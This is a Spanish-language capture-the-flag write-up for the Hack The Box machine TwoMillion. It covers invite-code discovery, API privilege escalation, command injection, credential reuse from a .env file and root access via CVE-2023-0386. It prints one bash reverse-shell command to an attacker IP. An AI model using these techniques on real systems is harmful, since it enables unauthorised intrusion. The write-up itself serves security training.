Skip to main content

Máquina TwoMillion

Hack The Box – Máquinas


  • Tags: #Easy #CVE #Linux

Reconocimiento

  1. Identificación de sistema operativo a través de ping
  • Como el ttl es cercano a 64, se puede saber que la máquina es Linux
  1. Identificación de puertos abiertos con Nmap
  • Primero se realiza un escaneo básico para identificar los puertos abiertos de la máquina:
  • Luego se hace un escaneo más detallado de los puertos abiertos para encontrar los servicios y versiones que corren en el servidor
  1. Revisión de la página web desplegada por el puerto 80 de la máquina TwoMillion
  • Al ingresar a la página desplegada por el puerto 80, se puede ver una antigua landing page de HackTheBox, por lo que para ingresar a la plataforma es necesario conseguir un código de invitación.

    1. Búsqueda en el apartado de invitación
  • Al igual que en la versión antigua de HackTheBox, al ingresar pide un código de invitación, el cual no se proporciona en ninguna parte:

  • Para obtener el código de invitación es necesario buscar dentro del código fuente de la página, específicamente un script que se llama inviteapi.min.js: En este apartado es necesario ingresar al recurso y ver qué hace1:

  • En este código se puede ver que hay una función llamada makeInviteCode, la cual se puede llamar en el navegador para tatar de conseguir un código de invitación:

  • El mensaje está codificado en ROT13 por lo que, al decodificarlo se obtiene esta cadena: In order to generate the invite code, make a POST request to /api/v1/invite/generate

  • Teniendo en cuenta esto, se puede realizar una petición POST al endpoint /api/v1/invite/generate para conseguir un código de invitación válido:

  • El código está codificado y, por lo que se puede ver, está codificado en Base64, por lo que se intenta decodificar:

  • Se prueba el código de invitación y se registra en la página:

  • Se inicia sesión con la cuenta creada anteriormente:

  1. Búsqueda en la página principal (luego de iniciar sesión)
  • Dentro de la página hay un apartado que llama la atención llamado "Access", por lo que se ingresa para ver su contenido:

  • En este apartado se encuentra un botón que aparentemente permite descargar una VPN y al hacer hovering sobre este, se ve que llama al endpoint /api/v1/user/vpn/generate, por lo que se puede intentar hacer una petición a /api/v1 para tratar de listar los endpoints que están disponibles en la página2:

  • Se puede observar que hay un endpoint PUT /api/v1/admin/settings/update desde el cual se puede cambiar la configuración de un usuario, posiblemente para convertirlo en administrador, por lo que se intenta usar dicho endpoint3:

  • Luego de esto, se puede probar con el endpoint /api/v1/admin/vpn/generate para ver qué responde4:


Acceso como usuario no privilegiado

  1. Ejecución remota de comandos por medio de petición
  • Una vez conseguida la respuesta, se puede intentar inyectar comandos por medio de la petición de la siguiente manera:

  • De esta manera se podría conseguir una reverse shell con el siguiente comando: bash -c \"bash -i >& /dev/tcp/10.10.16.13/443 0>&1\"

  1. Obtención de credenciales a través de archivos ocultos
  • Se listan los archivos ocultos y se encuentra un archivo .env, del cual se puede intentar obtener credenciales válidas:

  • Con las credenciales obtenidas (admin/SuperDuperPass123), se intenta acceder al usuario "admin" por medio de ssh:

  • Dentro del usuario admin se encuentra la primera flag (usuario no privilegiado):

Escalada de privilegios

  1. Búsqueda en los correos del usuario admin
  • Se ingresa a la carpeta /var/spool/mail y se lista el contenido del archivo "admin":

  • Se puede ver que hay una vulnerabilidad de la cual se le está notificando así que se puede probar dicha vulnerabilidad:

    • Desde la máquina atacante se clona el repositorio CVE-2023-0386:

    • Se comprime la carpeta:

    • Se trae el comprimido a la máquina víctima5:

  1. Ejecución del CVE
  • Se descomprime el archivo subido previamente y se siguen las instrucciones del POC:

  • Se ingresa a la carpeta /root y se accede a la flag:

Footnotes

  1. En este caso es una línea muy larga por lo que se utiliza de4js para que sea legible

  2. En este caso es necesario poner la cookie de sesión para poder acceder al contenido de /api/v1

  3. En este caso se prueba varias veces el endpoint agregando el Content-Type y luego los valores que se van pidiendo hasta lograr cambiar el tipo de cuenta a "admin"

  4. Se hace igual que en el paso anterior

  5. La IP atacante cambió debido a un cambio de equipo en la realización del writeup